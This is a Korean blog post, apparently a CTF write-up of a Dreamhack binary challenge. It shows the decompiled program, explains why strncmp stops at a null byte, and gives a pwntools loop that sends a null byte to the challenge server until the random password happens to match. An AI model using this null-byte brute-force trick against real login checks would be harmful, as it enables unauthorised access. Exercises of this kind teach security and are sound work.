문제 설명


리눅스 터미널을 통해 접속해 보니까 이렇다.

내가 어떤 패스워드를 입력해야 하는 것 같은데, 아직까진 힌트가 아무 것도 없으니 문제 파일부터 살펴본다. 

 

prod라는 이름의 파일이 있는데, 파일 형식을 도무지 모르겠다. 

노트패드나 리눅스 텍스트편집기에서 열어도 다 깨진 텍스트로 나옴.

그래서 IDA에 집어넣었다!

어셈블리어 상태로는 너무 방대하다.

바로 디컴파일 해줬음. 

 

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int fd; // [rsp+Ch] [rbp-44h]
  _QWORD *v5; // [rsp+10h] [rbp-40h] BYREF
  __int64 v6; // [rsp+18h] [rbp-38h] BYREF
  char s2[40]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v8; // [rsp+48h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  proc_init(argc, argv, envp);
  fd = open("/dev/urandom", 0);
  read(fd, password, 8uLL);
  close(fd);
  puts("can u guess me?");
  sleep(0);
  read_input(s2, 32LL);
  if ( !strncmp(password, s2, 8uLL) )
  {
    system("cat flag");
  }
  else
  {
    puts("wrong... :p");
    puts("can you try another path? maybe impossible");
    printf("> ");
    read_input(&v5, 8LL);
    printf("> ");
    read_input(&v6, 8LL);
    *v5 = v6;
    puts("wish your happy sleep");
  }
  return 0;
}

터미널에서 실행하면 "can u guess me?" 라는 문자열이 출력되고,

그 이후에 사용자가 입력한 값이 password와 일치할 시 cat flag를 해서 플래그를 보여준다는 걸

if ( !strncmp(password, s2, 8uLL) )
  {
    system("cat flag");
  }

이 대목을 통해 알 수 있다. 

 

strncmp를 클릭해 내용을 보면

int strncmp(const char *s1, const char *s2, size_t n)
{
  return strncmp(s1, s2, n);
}

이러함. 

 

그리고 "/dev/urandom"을 통해 랜덤한 수를 골라내는 걸로 보아 password에 변수로 난수가 들어간다는 듯...

 

도무지 모르겠어서 strncmp() 함수의 허점에 대해 서치해 봤다. 

드림핵 문제 코멘트에서 다들 strncmp()의 허점을 이용해야 풀이할 수 있다길래...

 

strncmp() 함수는, \x00이 올 때까지만 비교한다. null이 오면 비교를 끝낸다. 

난수인 password가 \x00으로 시작하는 경우, input으로 null을 넣으면 그냥 바로 같은 문자열로 인식하는?... 그런 거라고 함. 그래서 확률적으로 256번 null을 쏘는 코드를 만들면 그 중에 한 번은 플래그를 얻을 수 있다...

 

from pwn import *

while True:
    r = remote("host3.dreamhack.games", 12955)
    r.recvuntil(b'can u guess me?\n')
    r.send(b'\0')
    res = r.recv(100)
    r.close()
    if b'DH' in res:
        print(res)
        break

내가 실행한 코드...

근데 너무 오래 걸렸다~~

 

어쨌든 플래그 획득 성공.

모로 가도 서울만 가면 그만이지...

'SWUFORCE > 워게임 풀이' 카테고리의 다른 글

[wargame.kr] tmitter (web)  (0) 2024.09.24
[wargame.kr] strcmp (web)  (0) 2024.09.24
[Dreamhack] rev-basic-0 (reversing)  (0) 2024.08.27
[Dreamhack] file-special-bit (misc)  (0) 2024.08.20
[Dreamhack] addition-quiz (misc)  (0) 2024.08.20

+ Recent posts